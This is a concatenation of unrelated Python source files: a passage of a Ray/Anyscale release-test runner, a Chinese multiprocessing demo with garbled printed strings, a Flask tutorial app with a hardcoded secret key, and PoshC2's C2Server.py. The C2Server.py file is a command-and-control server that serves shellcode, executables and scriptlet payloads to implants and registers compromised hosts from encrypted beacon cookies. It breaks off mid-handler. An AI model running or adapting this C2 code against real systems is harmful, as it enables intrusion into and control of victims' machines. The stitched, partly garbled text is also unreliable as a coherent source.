{timeout} " f"(would have been {previous_timeout})") # If a test is long running, timeout does not mean it failed is_long_running = test_config["run"].get("long_running", False) build_id_override = None if test_config["run"].get("use_connect"): autosuspend_mins = test_config["run"].get("autosuspend_mins", 5) assert not kick_off_only, \ "Unsupported for running with Anyscale connect." if app_config_id_override is not None: logger.info( "Using connect and an app config override, waiting until " "build finishes so we can fetch the app config in order to " "install its pip packages locally.") build_id_override = wait_for_build_or_raise( sdk, app_config_id_override) response = sdk.get_cluster_environment_build(build_id_override) app_config = response.result.config_json install_app_config_packages(app_config) install_matching_ray() elif "autosuspend_mins" in test_config["run"]: raise ValueError( "'autosuspend_mins' is only supported if 'use_connect' is True.") # Add information to results dict def _update_results(results: Dict): if "last_update" in results: results["last_update_diff"] = time.time() - results["last_update"] if smoke_test: results["smoke_test"] = True def _process_finished_command(session_controller: SessionController, scd_id: str, results: Optional[Dict] = None, runtime: int = None, commit_url: str = None, session_url: str = None): logger.info("Command finished successfully.") if results_json: results = results or get_remote_json_content( temp_dir=temp_dir, session_name=session_name, remote_file=results_json, session_controller=session_controller, ) else: results = {"passed": 1} _update_results(results) if scd_id: logs = get_command_logs(session_controller, scd_id, test_config.get("log_lines", 50)) else: logs = "No command found to fetch logs for" if upload_artifacts: saved_artifacts = pull_artifacts_and_store_in_cloud( temp_dir=temp_dir, logs=logs, # Also save logs in cloud session_name=session_name, test_name=test_name, artifacts=test_config.get("artifacts", {}), session_controller=session_controller, ) logger.info("Fetched results and stored on the cloud. Returning.") else: saved_artifacts = {} logger.info("Usually I would have fetched the results and " "artifacts and stored them on S3.") # Add these metadata here to avoid changing SQL schema. results["_runtime"] = runtime results["_session_url"] = session_url results["_commit_url"] = commit_url results["_stable"] = test_config.get("stable", True) result_queue.put( State( "END", time.time(), { "status": "finished", "last_logs": logs, "results": results, "artifacts": saved_artifacts, }, )) # When running the test script in client mode, the finish command is a # completed local process. def _process_finished_client_command(returncode: int, logs: str): if upload_artifacts: saved_artifacts = pull_artifacts_and_store_in_cloud( temp_dir=temp_dir, logs=logs, # Also save logs in cloud session_name=session_name, test_name=test_name, artifacts=None, session_controller=None, ) logger.info("Stored results on the cloud. Returning.") else: saved_artifacts = {} logger.info("Usually I would have fetched the results and " "artifacts and stored them on S3.") if results_json: results = get_local_json_content(local_file=results_json, ) else: results = { "passed": int(returncode == 0), } results["returncode"] = returncode _update_results(results) result_queue.put( State( "END", time.time(), { "status": "finished", "last_logs": logs, "results": results, "artifacts": saved_artifacts, }, )) def _run(logger): # These values will be set as the test runs. session_url = None runtime = None anyscale.conf.CLI_TOKEN = GLOBAL_CONFIG["ANYSCALE_CLI_TOKEN"] session_id = None scd_id = None try: # First, look for running sessions session_id = search_running_session(sdk, project_id, session_name) compute_tpl_name = None app_config_id = app_config_id_override app_config_name = None build_id = build_id_override if not session_id: logger.info("No session found.") # Start session session_options = dict( name=session_name, project_id=project_id) if cluster_config is not None: logging.info("Starting session with cluster config") cluster_config_str = json.dumps(cluster_config) session_options["cluster_config"] = cluster_config_str session_options["cloud_id"] = ( GLOBAL_CONFIG["ANYSCALE_CLOUD_ID"], ) session_options["uses_app_config"] = False else: logging.info("Starting session with app/compute config") # Find/create compute template compute_tpl_id, compute_tpl_name = \ create_or_find_compute_template( sdk, project_id, compute_tpl) logger.info(f"Link to compute template: " f"{anyscale_compute_tpl_url(compute_tpl_id)}") # Find/create app config if app_config_id is None: ( app_config_id, app_config_name, ) = create_or_find_app_config(sdk, project_id, app_config) else: logger.info( f"Using override app config {app_config_id}") app_config_name = sdk.get_app_config( app_config_id).result.name if build_id is None: # We might have already retrieved the build ID when # installing app config packages locally if using # connect, so only get the build ID if it's not set. build_id = wait_for_build_or_raise(sdk, app_config_id) session_options["compute_template_id"] = compute_tpl_id session_options["build_id"] = build_id session_options["uses_app_config"] = True if not test_config["run"].get("use_connect"): session_id = create_and_wait_for_session( sdk=sdk, stop_event=stop_event, session_name=session_name, session_options=session_options, ) if test_config["run"].get("use_connect"): assert compute_tpl_name, "Compute template must exist." assert app_config_name, "Cluster environment must exist." script_args = test_config["run"].get("args", []) if smoke_test: script_args += ["--smoke-test"] min_workers = 0 for node_type in compute_tpl["worker_node_types"]: min_workers += node_type["min_workers"] # Build completed, use job timeout result_queue.put(State("CMD_RUN", time.time(), None)) returncode, logs = run_job( cluster_name=test_name, compute_tpl_name=compute_tpl_name, cluster_env_name=app_config_name, job_name=session_name, min_workers=min_workers, script=test_config["run"]["script"], script_args=script_args, env_vars=env_vars, autosuspend=autosuspend_mins) _process_finished_client_command(returncode, logs) return # Write test state json test_state_file = os.path.join(local_dir, "test_state.json") with open(test_state_file, "wt") as f: json.dump({ "start_time": time.time(), "test_name": test_name }, f) # Rsync up logger.info("Syncing files to session...") session_controller.push( session_name=session_name, source=None, target=None, config=None, all_nodes=False, ) logger.info("Syncing test state to session...") session_controller.push( session_name=session_name, source=test_state_file, target=state_json, config=None, all_nodes=False, ) session_url = anyscale_session_url( project_id=GLOBAL_CONFIG["ANYSCALE_PROJECT"], session_id=session_id) _check_stop(stop_event, "file_sync") # Optionally run preparation command prepare_command = test_config["run"].get("prepare") if prepare_command: logger.info(f"Running preparation command: {prepare_command}") scd_id, result = run_session_command( sdk=sdk, session_id=session_id, cmd_to_run=prepare_command, result_queue=result_queue, env_vars=env_vars, state_str="CMD_PREPARE") _, _ = wait_for_session_command_to_complete( result, sdk=sdk, scd_id=scd_id, stop_event=stop_event, state_str="CMD_PREPARE") # Run release test command cmd_to_run = test_config["run"]["script"] + " " args = test_config["run"].get("args", []) if args: cmd_to_run += " ".join(args) + " " if smoke_test: cmd_to_run += " --smoke-test" scd_id, result = run_session_command( sdk=sdk, session_id=session_id, cmd_to_run=cmd_to_run, result_queue=result_queue, env_vars=env_vars, state_str="CMD_RUN") if not kick_off_only: _, runtime = wait_for_session_command_to_complete( result, sdk=sdk, scd_id=scd_id, stop_event=stop_event, state_str="CMD_RUN") _process_finished_command( session_controller=session_controller, scd_id=scd_id, runtime=runtime, session_url=session_url, commit_url=commit_url) else: result_queue.put( State("END", time.time(), { "status": "kickoff", "last_logs": "" })) except (ReleaseTestTimeoutError, Exception) as e: logger.error(e, exc_info=True) logs = str(e) if scd_id is not None: try: logs = logs + "; Command logs:" + get_command_logs( session_controller, scd_id, test_config.get("log_lines", 50)) except Exception as e2: logger.error(e2, exc_info=True) # Long running tests are "finished" successfully when # timed out if isinstance(e, ReleaseTestTimeoutError) and is_long_running: _process_finished_command( session_controller=session_controller, scd_id=scd_id) else: timeout_type = "" runtime = None if isinstance(e, CommandTimeoutError): timeout_type = "timeout" runtime = 0 elif (isinstance(e, PrepareCommandTimeoutError) or isinstance(e, FileSyncTimeoutError) or isinstance(e, SessionTimeoutError) or isinstance(e, PrepareCommandRuntimeError) or isinstance(e, AppConfigBuildFailure)): timeout_type = "infra_timeout" runtime = None elif isinstance(e, RuntimeError): timeout_type = "runtime_error" runtime = 0 else: timeout_type = "unknown timeout" runtime = None # Add these metadata here to avoid changing SQL schema. results = {} results["_runtime"] = runtime results["_session_url"] = session_url results["_commit_url"] = commit_url results["_stable"] = test_config.get("stable", True) result_queue.put( State( "END", time.time(), { "status": timeout_type, "last_logs": logs, "results": results })) finally: if no_terminate: logger.warning( "`no_terminate` is set to True, so the session will " "*not* be terminated!") else: _cleanup_session(sdk, session_id) def _check_progress(logger): anyscale.conf.CLI_TOKEN = GLOBAL_CONFIG["ANYSCALE_CLI_TOKEN"] should_terminate = False session_id = None scd_id = None try: existing_session = find_session_by_test_name( sdk=sdk, session_controller=session_controller, temp_dir=temp_dir, state_json=state_json, project_id=project_id, test_name=test_name) if existing_session is None: logger.info(f"Found no existing session for {test_name}") result_queue.put( State("END", time.time(), { "status": "nosession", "last_logs": "" })) return session_id, session_name, session_state = existing_session logger.info(f"Found existing session for {test_name}: " f"{session_name}") scd_id, success = get_latest_running_command_id( sdk=sdk, session_id=session_id) latest_result = get_remote_json_content( temp_dir=temp_dir, session_name=session_name, remote_file=results_json, session_controller=session_controller, ) # Fetch result json and check if it has been updated recently result_time_key = test_config["run"].get("time_key", None) maximum_update_delay = test_config["run"].get( "max_update_delay", None) if result_time_key and maximum_update_delay: last_update = latest_result.get(result_time_key, None) if not last_update: result_queue.put( State( "END", time.time(), { "status": "error", "last_logs": f"Test did not store " f"{result_time_key} in the " f"results json." })) return delay = time.time() - last_update logger.info(f"Last update was at {last_update:.2f}. " f"This was {delay:.2f} seconds ago " f"(maximum allowed: {maximum_update_delay})") if delay > maximum_update_delay: raise RuntimeError( f"Test did not update the results json within " f"the last {maximum_update_delay} seconds.") if time.time() - session_state["start_time"] > timeout: # Long running test reached timeout logger.info( f"Test command reached timeout after {timeout} seconds") _process_finished_command( session_controller=session_controller, scd_id=scd_id, results=latest_result) should_terminate = True elif success: logger.info("All commands finished.") _process_finished_command( session_controller=session_controller, scd_id=scd_id, results=latest_result) should_terminate = True else: rest_time = timeout - time.time() + session_state["start_time"] logger.info(f"Test command should continue running " f"for {rest_time} seconds") result_queue.put( State("END", time.time(), { "status": "kickoff", "last_logs": "Test is still running" })) except Exception as e: logger.error(e, exc_info=True) logs = str(e) if scd_id is not None: try: logs = get_command_logs(session_controller, scd_id, test_config.get("log_lines", 50)) logs += f"\n{str(e)}" except Exception as e2: logger.error(e2, exc_info=True) result_queue.put( State("END", time.time(), { "status": "error", "last_logs": logs })) should_terminate = True finally: if should_terminate: logger.warning("Terminating session") _cleanup_session(sdk, session_id) if not check_progress: process = multiprocessing.Process(target=_run, args=(logger, )) else: process = multiprocessing.Process( target=_check_progress, args=(logger, )) build_timeout = test_config["run"].get("build_timeout", 1800) project_url = anyscale_project_url( project_id=GLOBAL_CONFIG["ANYSCALE_PROJECT"]) logger.info(f"Link to project: {project_url}") msg = f"This will now run test {test_name}." if smoke_test: msg += " This is a smoke test." if is_long_running: msg += " This is a long running test." logger.info(msg) logger.info(f"Starting process with timeout {timeout} " f"(build timeout {build_timeout})") process.start() # The timeout time will be updated after the build finished # Build = App config + compute template build and session start timeout_time = time.time() + build_timeout result = {} while process.is_alive(): try: state: State = result_queue.get(timeout=1) except (Empty, TimeoutError): if time.time() > timeout_time: stop_event.set() logger.warning("Process timed out.") if not is_long_running: logger.warning("Terminating process in 10 seconds.") time.sleep(10) logger.warning("Terminating process now.") process.terminate() else: logger.info("Process is long running. Give 2 minutes to " "fetch result and terminate.") start_terminate = time.time() while time.time( ) < start_terminate + 120 and process.is_alive(): time.sleep(1) if process.is_alive(): logger.warning("Terminating forcefully now.") process.terminate() else: logger.info("Long running results collected.") break continue if not isinstance(state, State): raise RuntimeError(f"Expected `State` object, got {result}") if state.state == "CMD_PREPARE": # Reset timeout after build finished timeout_time = state.timestamp + timeout if state.state == "CMD_RUN": # Reset timeout after prepare command or build finished timeout_time = state.timestamp + timeout elif state.state == "END": result = state.data break while not result_queue.empty(): state = result_queue.get_nowait() result = state.data logger.info("Final check if everything worked.") try: result.setdefault("status", "error (status not found)") except (TimeoutError, Empty): result = {"status": "timeout", "last_logs": "Test timed out."} logger.info(f"Final results: {result}") log_results_and_artifacts(result) if not keep_results_dir: logger.info(f"Removing results dir {temp_dir}") shutil.rmtree(temp_dir) else: # Write results.json with open(os.path.join(temp_dir, "results.json"), "wt") as fp: json.dump(result, fp) out_dir = os.path.expanduser(GLOBAL_CONFIG["RELEASE_RESULTS_DIR"]) logger.info(f"Moving results dir {temp_dir} to persistent location " f"{out_dir}") shutil.rmtree(out_dir, ignore_errors=True) shutil.copytree(temp_dir, out_dir) logger.info(f"Dir contents: {os.listdir(out_dir)}") return result def run_test(test_config_file: str, test_name: str, project_id: str, commit_url: str, category: str = "unspecified", smoke_test: bool = False, no_terminate: bool = False, kick_off_only: bool = False, check_progress: bool = False, report: bool = True, keep_results_dir: bool = False, session_name: Optional[str] = None, app_config_id_override=None): with open(test_config_file, "rt") as f: test_configs = yaml.load(f, Loader=yaml.FullLoader) test_config_dict = {} for test_config in test_configs: name = test_config.pop("name") test_config_dict[name] = test_config if test_name not in test_config_dict: raise ValueError( f"Test with name `{test_name}` not found in test config file " f"at `{test_config_file}`.") test_config = test_config_dict[test_name] if smoke_test and "smoke_test" in test_config: smoke_test_config = test_config.pop("smoke_test") test_config = _deep_update(test_config, smoke_test_config) local_dir = os.path.dirname(test_config_file) if "local_dir" in test_config: # local_dir is relative to test_config_file local_dir = os.path.join(local_dir, test_config["local_dir"]) if test_config["run"].get("use_connect"): assert not kick_off_only, \ "--kick-off-only is unsupported when running with " \ "Anyscale connect." assert not check_progress, \ "--check is unsupported when running with Anyscale connect." if test_config.get("artifacts", {}): logger.error( "Saving artifacts are not yet supported when running with " "Anyscale connect.") result = run_test_config( local_dir, project_id, test_name, test_config, commit_url, session_name=session_name, smoke_test=smoke_test, no_terminate=no_terminate, kick_off_only=kick_off_only, check_progress=check_progress, upload_artifacts=report, keep_results_dir=keep_results_dir, app_config_id_override=app_config_id_override) status = result.get("status", "invalid") if kick_off_only: if status != "kickoff": raise RuntimeError("Error kicking off test.") logger.info("Kicked off test. It's now up to the `--check` " "part of the script to track its process.") return else: # `--check` or no kick off only if status == "nosession": logger.info(f"No running session found for test {test_name}, so " f"assuming everything is fine.") return if status == "kickoff": logger.info(f"Test {test_name} is still running.") return last_logs = result.get("last_logs", "No logs.") test_suite = os.path.basename(test_config_file).replace(".yaml", "") report_kwargs = dict( test_suite=test_suite, test_name=test_name, status=status, logs=last_logs, results=result.get("results", {}), artifacts=result.get("artifacts", {}), category=category, ) if report: report_result(**report_kwargs) else: logger.info(f"Usually I would now report the following results:\n" f"{report_kwargs}") if has_errored(result): raise RuntimeError(last_logs) return if __name__ == "__main__": parser = argparse.ArgumentParser( description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument( "--test-config", type=str, required=True, help="Test config file") parser.add_argument("--test-name", type=str, help="Test name in config") parser.add_argument( "--ray-wheels", required=False, type=str, help="URL to ray wheels") parser.add_argument( "--no-terminate", action="store_true", default=False, help="Don't terminate session after failure") parser.add_argument( "--no-report", action="store_true", default=False, help="Do not report any results or upload to S3") parser.add_argument( "--kick-off-only", action="store_true", default=False, help="Kick off only (don't wait for command to finish)") parser.add_argument( "--check", action="store_true", default=False, help="Check (long running) status") parser.add_argument( "--keep-results-dir", action="store_true", default=False, help="Keep results in directory (named RELEASE_RESULTS_DIR), e.g. " "for Buildkite artifact upload.") parser.add_argument( "--category", type=str, default="unspecified", help="Category name, e.g. `release-1.3.0` (will be saved in database)") parser.add_argument( "--smoke-test", action="store_true", help="Finish quickly for testing") parser.add_argument( "--session-name", required=False, type=str, help="Name of the session to run this test.") parser.add_argument( "--app-config-id-override", required=False, type=str, help=("An app config ID, which will override the test config app " "config.")) args, _ = parser.parse_known_args() if not GLOBAL_CONFIG["ANYSCALE_PROJECT"]: raise RuntimeError( "You have to set the ANYSCALE_PROJECT environment variable!") maybe_fetch_api_token() if args.ray_wheels: os.environ["RAY_WHEELS"] = str(args.ray_wheels) url = str(args.ray_wheels) elif not args.check: url = find_ray_wheels( GLOBAL_CONFIG["RAY_REPO"], GLOBAL_CONFIG["RAY_BRANCH"], GLOBAL_CONFIG["RAY_VERSION"], ) if not url: raise RuntimeError(f"Could not find wheels for " f"Ray {GLOBAL_CONFIG['RAY_VERSION']}, " f"branch {GLOBAL_CONFIG['RAY_BRANCH']}") # RAY_COMMIT is set by find_ray_wheels populate_wheels_sanity_check(os.environ.get("RAY_COMMIT", "")) test_config_file = os.path.abspath(os.path.expanduser(args.test_config)) run_test( test_config_file=test_config_file, test_name=args.test_name, project_id=GLOBAL_CONFIG["ANYSCALE_PROJECT"], commit_url=url, category=args.category, smoke_test=args.smoke_test, no_terminate=args.no_terminate or args.kick_off_only, kick_off_only=args.kick_off_only, check_progress=args.check, report=not args.no_report, session_name=args.session_name, keep_results_dir=args.keep_results_dir, app_config_id_override=args.app_config_id_override, )
multijinchengceshi.py
import multiprocessing import time import os def ceshi_pool(dictionary,lock,limit): while True: if dictionary['state'] == False: time.sleep(2) if dictionary['state'] == False: break lock.acquire() tmp = dictionary['number'] print("็”Ÿไบง่€…%s:ๅฝ“ๅ‰ๆฑ ไธญๆ•ฐ้‡๏ผš %d" % (os.getpid(),tmp)) if tmp < limit: tmp = tmp + 1 print("่ฟ›่กŒ็”Ÿไบง๏ผŒ็”ŸไบงๅŽๆฑ ไธญๆ•ฐ้‡๏ผš %d" % tmp) dictionary['number'] = tmp lock.release() time.sleep(1) def ceshi1(dictionary,lock,limit): time.sleep(2) pool = multiprocessing.Pool(processes=1) try: pool.apply_async(ceshi_pool,args=(dictionary,lock,limit)) except Exception as e: print(e) while True: if dictionary['state'] == False: time.sleep(10) break def ceshi2(dictionary,lock): time.sleep(2) while True: if dictionary['state'] == False: time.sleep(2) if dictionary['state'] == False: break lock.acquire() tmp = dictionary['number'] print("ๆถˆ่ดน่€…%s๏ผšๅฝ“ๅ‰ๆฑ ไธญๆ•ฐ้‡๏ผš %d" % (os.getpid(), tmp)) if tmp > 0: tmp = tmp - 2 print("่ฟ›่กŒๆถˆ่ดน๏ผŒๆถˆ่ดนๅŽๆฑ ไธญๆ•ฐ้‡๏ผš %d" % tmp) dictionary['number'] = tmp lock.release() time.sleep(2) # def system_start_end(dictionary,process_list): # while True: # time.sleep(1) # state = input(">") # if state == 'start': # dictionary['state'] = True # if state == 'end': # dictionary['state'] = False # for i in process_list: # i.join() if __name__ == '__main__': mgr = multiprocessing.Manager() dictionary = mgr.dict() dictionary['state'] = False dictionary['number'] = 0 lock = mgr.Lock() p1 = multiprocessing.Process(target=ceshi1,args=(dictionary,lock,6)) p2 = multiprocessing.Process(target=ceshi2,args=(dictionary,lock)) process_list = [] process_list.append(p1) process_list.append(p2) # system_p = multiprocessing.Process(target=system_start_end,args=(dictionary,process_list)) boot = input("system start:") if boot == 'start': dictionary['state'] = True time.sleep(1) p1.start() p2.start() # system_p.start() while True: boot = input("system start:") if boot == 'end': dictionary['state'] = False time.sleep(1) if dictionary['state'] == False: for i in process_list: i.join() break # system_p.join()
hello.py
import os from threading import Thread from flask import Flask, render_template, session, redirect, url_for from flask_script import Manager, Shell from flask_bootstrap import Bootstrap from flask_moment import Moment from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import Required from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate, MigrateCommand from flask_mail import Mail, Message basedir = os.path.abspath(os.path.dirname(__file__)) app = Flask(__name__) app.config['SECRET_KEY'] = 'hard to guess string' app.config['SQLALCHEMY_DATABASE_URI'] =\ 'sqlite:///' + os.path.join(basedir, 'data.sqlite') app.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False app.config['MAIL_SERVER'] = 'smtp.qq.com' app.config['MAIL_PORT'] = 465 app.config['MAIL_USE_TLS'] = False app.config['MAIL_USE_SSL'] = True app.config['MAIL_USERNAME'] = os.environ.get('MAIL_USERNAME') app.config['MAIL_PASSWORD'] = os.environ.get('MAIL_PASSWORD') app.config['FLASKY_MAIL_SUBJECT_PREFIX'] = '[Flasky]' app.config['FLASKY_MAIL_SENDER'] = '527790840@qq.com' app.config['FLASKY_ADMIN'] = os.environ.get('FLASKY_ADMIN') manager = Manager(app) bootstrap = Bootstrap(app) moment = Moment(app) db = SQLAlchemy(app) migrate = Migrate(app, db) mail = Mail(app) class Role(db.Model): __tablename__ = 'roles' id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(64), unique=True) users = db.relationship('User', backref='role', lazy='dynamic') def __repr__(self): return '<Role %r>' % self.name class User(db.Model): __tablename__ = 'users' id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(64), unique=True, index=True) role_id = db.Column(db.Integer, db.ForeignKey('roles.id')) def __repr__(self): return '<User %r>' % self.username def send_async_email(app, msg): with app.app_context(): mail.send(msg) def send_email(to, subject, template, **kwargs): msg = Message(app.config['FLASKY_MAIL_SUBJECT_PREFIX'] + ' ' + subject, sender=app.config['FLASKY_MAIL_SENDER'], recipients=[to]) msg.body = render_template(template + '.txt', **kwargs) msg.html = render_template(template + '.html', **kwargs) thr = Thread(target=send_async_email, args=[app, msg]) thr.start() return thr class NameForm(FlaskForm): name = StringField('What is your name?', validators=[Required()]) submit = SubmitField('Submit') def make_shell_context(): return dict(app=app, db=db, User=User, Role=Role) manager.add_command("shell", Shell(make_context=make_shell_context)) manager.add_command('db', MigrateCommand) @app.errorhandler(404) def page_not_found(e): return render_template('404.html'), 404 @app.errorhandler(500) def internal_server_error(e): return render_template('500.html'), 500 @app.route('/', methods=['GET', 'POST']) def index(): form = NameForm() if form.validate_on_submit(): user = User.query.filter_by(username=form.name.data).first() if user is None: user = User(username=form.name.data) db.session.add(user) session['known'] = False if app.config['FLASKY_ADMIN']: send_email(app.config['FLASKY_ADMIN'], 'New User', 'mail/new_user', user=user) else: session['known'] = True session['name'] = form.name.data return redirect(url_for('index')) return render_template('index.html', form=form, name=session.get('name'), known=session.get('known', False)) if __name__ == '__main__': manager.run()
C2Server.py
#!/usr/bin/env python3 import os, sys, datetime, time, base64, logging, signal, re, ssl, traceback, threading from urllib.request import urlopen, Request from urllib.error import HTTPError, URLError from urllib.parse import urlparse from poshc2.server.Implant import Implant from poshc2.server.Tasks import newTask from poshc2.server.Core import decrypt, encrypt, default_response, decrypt_bytes_gzip, number_of_days, process_mimikatz, print_bad from poshc2.Colours import Colours from poshc2.server.database.DBSQLite import select_item, get_implants_all, update_implant_lastseen, update_task, get_cmd_from_task_id, get_c2server_all, get_sharpurls from poshc2.server.database.DBSQLite import update_item, get_task_owner, get_newimplanturl, initializedb, setupserver, new_urldetails, get_baseenckey, get_c2_messages, database_connect from poshc2.server.Payloads import Payloads from poshc2.server.Config import PoshProjectDirectory, ServerHeader, PayloadsDirectory, HTTPResponse, DownloadsDirectory, Database, PayloadCommsHost, SocksHost from poshc2.server.Config import QuickCommand, KillDate, DefaultSleep, DomainFrontHeader, PayloadCommsPort, urlConfig, BindIP, BindPort, ReportsDirectory from poshc2.server.Config import DownloadURI, Sounds, ClockworkSMS_APIKEY, ClockworkSMS_MobileNumbers, URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken from poshc2.server.Config import Pushover_APIUser, EnableNotifications from poshc2.server.Cert import create_self_signed_cert from poshc2.client.Help import logopic from poshc2.Utils import validate_sleep_time, randomuri, gen_key from socketserver import ThreadingMixIn from http.server import BaseHTTPRequestHandler, HTTPServer KEY = None class MyHandler(BaseHTTPRequestHandler): def signal_handler(self, signal, frame): sys.exit(0) signal.signal(signal.SIGINT, signal_handler) def log_message(self, format, *args): try: useragent = str(self.headers['user-agent']) except Exception: useragent = "None" open("%swebserver.log" % PoshProjectDirectory, "a").write("%s - [%s] %s %s\n" % (self.address_string(), self.log_date_time_string(), format % args, useragent)) def do_HEAD(self): """Respond to a HEAD request.""" self.server_version = ServerHeader self.sys_version = "" self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() def do_OPTIONS(self): """Respond to a HEAD request.""" self.server_version = ServerHeader self.sys_version = "" self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() def do_PUT(self): """Respond to a PUT request.""" self.server_version = ServerHeader self.sys_version = "" self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() def do_GET(self): """Respond to a GET request.""" logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) new_implant_url = get_newimplanturl() self.cookieHeader = self.headers.get('Cookie') QuickCommandURI = select_item("QuickCommand", "C2Server") UriPath = str(self.path) sharpurls = get_sharpurls().split(",") sharplist = [] for i in sharpurls: i = i.replace(" ", "") i = i.replace("\"", "") sharplist.append("/" + i) self.server_version = ServerHeader self.sys_version = "" if not self.cookieHeader: self.cookieHeader = "NONE" # implant gets a new task new_task = newTask(self.path) if new_task: self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(new_task) elif [ele for ele in sharplist if(ele in UriPath)]: try: open("%swebserver.log" % PoshProjectDirectory, "a").write("%s - [%s] Making GET connection to SharpSocks %s%s\r\n" % (self.address_string(), self.log_date_time_string(), SocksHost, UriPath)) r = Request("%s%s" % (SocksHost, UriPath), headers={'Accept-Encoding': 'gzip', 'Cookie': '%s' % self.cookieHeader, 'User-Agent': UserAgent}) res = urlopen(r) sharpout = res.read() self.send_response(200) self.send_header("Content-type", "text/html") self.send_header("Connection", "close") self.send_header("Content-Length", len(sharpout)) self.end_headers() if (len(sharpout) > 0): self.wfile.write(sharpout) except HTTPError as e: self.send_response(e.code) self.send_header("Content-type", "text/html") self.send_header("Connection", "close") self.end_headers() open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e) except Exception as e: open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e) print(Colours.RED + "Error with SharpSocks or old implant connection - is SharpSocks running" + Colours.END) print(Colours.RED + UriPath + Colours.END) self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(bytes(HTTPResponse, "utf-8")) elif ("%s_bs" % QuickCommandURI) in self.path: filename = "%spayload.bat" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%s_rg" % QuickCommandURI) in self.path: filename = "%srg_sct.xml" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%ss/86/portal" % QuickCommandURI) in self.path: filename = "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() content = base64.b64encode(content) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%ss/64/portal" % QuickCommandURI) in self.path: filename = "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() content = base64.b64encode(content) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%sp/86/portal" % QuickCommandURI) in self.path: filename = "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() content = base64.b64encode(content) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%sp/64/portal" % QuickCommandURI) in self.path: filename = "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() content = base64.b64encode(content) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%s_cs" % QuickCommandURI) in self.path: filename = "%scs_sct.xml" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(content) elif ("%s_py" % QuickCommandURI) in self.path: filename = "%saes.py" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() content = "a" + "".join("{:02x}".format(c) for c in content) self.send_response(200) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write(bytes(content, "utf-8")) elif ("%s_ex86" % QuickCommandURI) in self.path: filename = "%sPosh32.exe" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() self.send_response(200) self.send_header("Content-type", "application/x-msdownload") self.end_headers() self.wfile.write(content) elif ("%s_ex64" % QuickCommandURI) in self.path: filename = "%sPosh64.exe" % (PayloadsDirectory) with open(filename, 'rb') as f: content = f.read() self.send_response(200) self.send_header("Content-type", "application/x-msdownload") self.end_headers() self.wfile.write(content) # register new implant elif new_implant_url in self.path and self.cookieHeader.startswith("SessionID"): implant_type = "PS" if self.path == ("%s?p" % new_implant_url): implant_type = "PS Proxy" if self.path == ("%s?d" % new_implant_url): implant_type = "PS Daisy" if self.path == ("%s?m" % new_implant_url): implant_type = "Python" if self.path == ("%s?d?m" % new_implant_url): implant_type = "Python Daisy" if self.path == ("%s?p?m" % new_implant_url): implant_type = "Python Proxy" if self.path == ("%s?c" % new_implant_url): implant_type = "C#" if self.path == ("%s?d?c" % new_implant_url): implant_type = "C# Daisy" if self.path == ("%s?p?c" % new_implant_url): implant_type = "C# Proxy" if implant_type.startswith("C#"): cookieVal = (self.cookieHeader).replace("SessionID=", "") decCookie = decrypt(KEY, cookieVal) IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1]) Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(";") Proxy = Proxy.replace("\x00", "") if "\\" in User: User = User[User.index("\\") + 1:] newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, Proxy) newImplant.save() newImplant.display() newImplant.autoruns() responseVal = encrypt(KEY, newImplant.SharpCore) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(responseVal) elif implant_type.startswith("Python"): cookieVal = (self.cookieHeader).replace("SessionID=", "") decCookie = decrypt(KEY, cookieVal) IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1]) User, Domain, Hostname, Arch, PID, Proxy = decCookie.split(";") Proxy = Proxy.replace("\x00", "") newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, Proxy) newImplant.save() newImplant.display() responseVal = encrypt(KEY, newImplant.PythonCore) self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() 